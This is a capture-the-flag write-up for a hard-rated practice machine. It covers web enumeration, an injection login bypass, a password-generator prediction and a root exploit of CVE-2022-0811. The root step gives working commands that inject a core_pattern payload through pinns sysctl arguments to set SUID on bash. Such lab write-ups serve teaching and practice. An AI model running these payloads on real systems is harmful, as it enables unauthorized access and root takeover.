Overview
Since it becomes very time consuming doing this in a video this write-up is going to be in a text.
The machine is labeled hard with a good reason, most of the tasks are time consuming but there are some interesting vulnerabilities like CVE-2022-0811 and CVE-2022-24637.
On top of these we have NoSQL Injection and some PE reverse engineering.
Write-up
Flag 1
First I began enumerating the whole website with ffuf.
$ ffuf -w ~/Tools/SecLists/Discovery/Web-Content/common.txt -u "http://vessel.htb/FUZZ" -fs 26
With that I discovered a folder called dev which then led me to dumping the git repository of the website:
$ git-dumper http://vessel.htb/dev/.git ./website_dump
With the website avaliable, I can check the actual source code for vulnerabilities, immediately after opening the routes/index.js I have noticed that this code might be vulnerable to NoSQL Injection.
...
let username = req.body.username;
let password = req.body.password;
if (username && password) {
connection.query('SELECT * FROM accounts WHERE username = ? AND password = ?', [username, password], function(error, results, fields) { ...
The code doesn’t check if the passed values if they are objects, I can use a crafted NoSQL payload to successfully login
with the admin user using this payload while doing the POST request:
username=admin&password[password]=1
Upon another discovery in the admin panel, I found that there is another domain on the host called openwebanalytics. From further investigation over what can be exploted there I have landed on CVE-2022-24637. With that exploit I could run a successful reverse shell on the machine.
Using linpeas I found some useful information over the user steven
/home/steven/passwordGenerator # Windows PE Exectuable
/home/steven/.notes/screenshot.png # Screenshot of some program
/home/steven/.notes/notes.pdf # Password protected PDF
I suspected that the screenshot.png is am image of the passwordGenerator.On the other hand the passwordGenerator was unusually big and the whole use of that binary is to create ‘secure’ passwords. I noticed the python icon on the binary and I suspected that this could be a packed python project with PyInstaller. I confirmed that when I loaded the whole thing in Ghidra/IDA.
I have used pyinstxtractor to extract the *.pyc files, and then the uncomplyle6 to decompile the *.pyc files. Which has led me to the actual source code of the binary:
This is the function that generates the password:
def genPassword(self):
length = value
char = index
if char == 0:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890~!@#$%^&*()_-+={}[]|:;<>,.?'
else:
if char == 1:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
else:
if char == 2:
charset = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890'
else:
try:
qsrand(QTime.currentTime().msec())
password = ''
for i in range(length):
idx = qrand() % len(charset)
nchar = charset[idx]
password += str(nchar)
except:
msg = QMessageBox()
msg.setWindowTitle('Error')
msg.setText('Error while generating password!, Send a message to the Author!')
x = msg.exec_()
return password
I edited the length to 32 (as I have it on the screenshot) and edited the script a bit more to create a list out of possible passwords. I can do that because the QTime.currentTime().msec() function returns the numbers from 1-1000 with that range I have a big chance of guessing the generated password.
Note: This process can be a bit frustrating since it takes time to generate the passwords. I personally spent little over an hour.
Then I used pdfcrack to crack the password of the PDF, there I found the password for the user ethan and I successfully logged in with it and I found the first flag.
Flag 2
I ran linpeas.sh again, and I found the following SUID binary:
...
╔══════════╣ Readable files belonging to root and readable by me but not world readable
-rwsr-x--- 1 root ethan 814936 Mar 15 2022 /usr/bin/pinns
...
I searched around a bit what is this, and I landed on the CVE-2022-0811 which exploited this binary. While doing this, I noticed that I also have the runc.
╔══════════╣ Container related tools present
/usr/sbin/runc
This was a very tricky one, and it needs some understanding of what’s going on to successfully execute the attack. You can check out the link I’ve provided for CVE-2022-0811 to understand more about it. On the actual POC they have used Kubernetes, on our end I had to use runc.
The parameters that are being passed to pinns are not being sanitized and validated, so I can use that to execute code with root access.
I needed to create a container using the runc without using root so I’ve used the --rootless arg.
Reference: https://github.com/opencontainers/runc/#rootless-containers
$ mkdir /tmp/syl
$ cd /tmp/syl/
$ runc spec --rootless
$ mkdir rootfs
$ echo "chmod +s /usr/bin/bash" > syl.sh
Then I should mount the root to the root of the container:
Reference: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/runc-privilege-escalation
$ runc --root /tmp/syl/ run alpine
# cat /etc/machine-id
c4ca4238a0b923820dcc509a6f75849b
This will run the container and spawn a shell. Next I would ssh into the machine from another session to execute the pinns binary to our container.
$ /usr/bin/pinns -d /var/run -f c4ca4238a0b923820dcc509a6f75849b -s 'kernel.shm_rmid_forced=1+kernel.core_pattern=|/tmp/syl/syl.sh #' --ipc --net --uts --cgroup
Then I need to trigger a core dump so that the pinns would execute the script in a case of a core dump. Following the PoC in crowdstrike:
# ulimit -c unlimited
# ulimit -c
unlimited
# tail -f /dev/null &
# ps
.. Find the `tail -f /dev/null` PID
# kill -SIGSEGV {thePID}
[1]+ Segmentation fault (core dumped) tail -f /dev/null
Back to the other session
$ bash -p
$ cat /root/root.txt
{HASH}